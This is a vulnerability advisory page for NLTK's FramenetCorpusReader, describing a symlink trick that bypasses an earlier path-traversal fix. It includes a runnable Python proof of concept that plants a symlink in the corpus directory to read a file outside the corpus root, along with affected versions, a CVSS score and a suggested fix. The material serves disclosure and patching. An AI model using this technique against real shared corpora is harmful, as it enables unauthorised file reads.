Alta

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

  • Publicada: 22.08.2026
  • Actualizado: 11.10.2026 15:17

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

python
import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) nltk >= 3.10.0, < 3.10.2 3.10.2

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-22, CWE-59
Plataforma
Python (PyPI)
Paquete
nltk
Publicada
22.08.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3789 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-f833-7jw8-xwrv - CC BY 4.0

Historial de vulnerabilidades: nltk

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (52) en el archivo
Entradas en total
52
Primera → última
08.2019 09.2026
Sin corrección
6
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 32
  • Media 13
  • Baja 2

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Gravedad:
  1. Alta · 7.0 CVE-2026-81726 <= 3.10.3 sin corrección
  2. Alta CVE-2026-79674 < 3.10.3 3.10.3
  3. Alta · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292) esta entrada
    Alta · 7.5 CVE-2026-62384 >= 3.10.0, < 3.10.2 3.10.2
  5. Alta · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
Mostrar más (17) Mostrando 20 de 37

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.